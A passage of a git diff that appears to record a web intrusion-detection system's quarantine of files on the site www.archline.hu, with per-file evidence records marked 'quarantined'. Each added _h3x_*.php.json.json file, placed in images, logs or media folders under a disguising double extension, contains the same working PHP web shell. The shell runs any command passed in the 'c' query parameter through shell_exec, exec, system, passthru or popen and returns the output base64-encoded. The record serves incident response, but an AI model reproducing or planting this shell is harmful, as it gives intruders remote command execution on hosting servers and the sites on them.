(dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857952, + "size": 1228, + "uid": 20043 + }, + "rel_path": "images/_h3x_46wa7ggf.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json.evidence.json new file mode 100644 index 0000000..5e89caa --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3489", + "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_8r32ttzj.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783858323, + "size": 1228, + "uid": 20043 + }, + "rel_path": "images/_h3x_8r32ttzj.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json.evidence.json new file mode 100644 index 0000000..88364f1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3469", + "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_bggl9cgz.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857933, + "size": 1228, + "uid": 20043 + }, + "rel_path": "images/_h3x_bggl9cgz.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json.evidence.json new file mode 100644 index 0000000..87b91d0 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3509", + "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_s7knpv5f.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783861956, + "size": 1228, + "uid": 20043 + }, + "rel_path": "images/_h3x_s7knpv5f.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json b/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json.evidence.json new file mode 100644 index 0000000..e804933 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3471", + "log_excerpt": "[quarantine] www.archline.hu:images/_h3x_zdi8lujb.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838198, + "size": 1228, + "uid": 20043 + }, + "rel_path": "images/_h3x_zdi8lujb.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json.evidence.json new file mode 100644 index 0000000..a6d408d --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4795", + "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_9pq0ueh6.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857968, + "size": 1228, + "uid": 20043 + }, + "rel_path": "logs/_h3x_9pq0ueh6.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json.evidence.json new file mode 100644 index 0000000..3f1dba7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4793", + "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_czrsgpys.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857949, + "size": 1228, + "uid": 20043 + }, + "rel_path": "logs/_h3x_czrsgpys.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json.evidence.json new file mode 100644 index 0000000..0787933 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4786", + "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_ipqsu3tu.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838222, + "size": 1228, + "uid": 20043 + }, + "rel_path": "logs/_h3x_ipqsu3tu.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json.evidence.json new file mode 100644 index 0000000..82dda4b --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4785", + "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_qx0jpbsm.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783858339, + "size": 1228, + "uid": 20043 + }, + "rel_path": "logs/_h3x_qx0jpbsm.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json.evidence.json new file mode 100644 index 0000000..d812ae8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4789", + "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_qzmhjwqx.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783861973, + "size": 1228, + "uid": 20043 + }, + "rel_path": "logs/_h3x_qzmhjwqx.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json b/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json.evidence.json new file mode 100644 index 0000000..6e4a8a1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4797", + "log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_yajzsubg.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838214, + "size": 1228, + "uid": 20043 + }, + "rel_path": "logs/_h3x_yajzsubg.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json.evidence.json new file mode 100644 index 0000000..836b7d7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3057", + "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_qljjjjvk.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783858335, + "size": 1228, + "uid": 20043 + }, + "rel_path": "media/_h3x_qljjjjvk.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json.evidence.json new file mode 100644 index 0000000..17a811b --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3045", + "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_twr3u1w5.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857945, + "size": 1228, + "uid": 20043 + }, + "rel_path": "media/_h3x_twr3u1w5.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json.evidence.json new file mode 100644 index 0000000..4b04192 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3054", + "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_u9smyqi1.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783838210, + "size": 1228, + "uid": 20043 + }, + "rel_path": "media/_h3x_u9smyqi1.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json.evidence.json new file mode 100644 index 0000000..3c2cc9b --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3056", + "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_ve93l4dj.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783861967, + "size": 1228, + "uid": 20043 + }, + "rel_path": "media/_h3x_ve93l4dj.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json new file mode 100644 index 0000000..ac31f23 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json @@ -0,0 +1,39 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json.evidence.json new file mode 100644 index 0000000..5536f4d --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3046", + "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_wurtsehy.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json)", + "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c", + "original_stat": { + "gid": 30037, + "mtime": 1783857964, + "size": 1228, + "uid": 20043 + }, + "rel_path": "media/_h3x_wurtsehy.php.json.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git 